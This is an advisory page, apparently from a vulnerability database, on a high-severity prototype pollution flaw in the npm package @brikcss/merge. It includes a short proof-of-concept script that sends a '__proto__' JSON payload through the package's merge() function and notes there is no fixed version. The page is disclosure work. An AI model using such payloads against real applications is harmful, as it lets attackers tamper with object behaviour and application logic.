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@brikcss/merge/.../merge@1.0.4 vulnerabilities

Utility to perform a deep merge of a list of objects or arrays.

  • latest version

    1.3.0

  • first published

    6 years ago

  • latest version published

    5 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the @brikcss/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    @brikcss/merge is an Utility to perform a deep merge of a list of objects or arrays.

    Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function.

    ##PoC

    // PoC.js
var merge = require("@brikcss/merge")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for @brikcss/merge.

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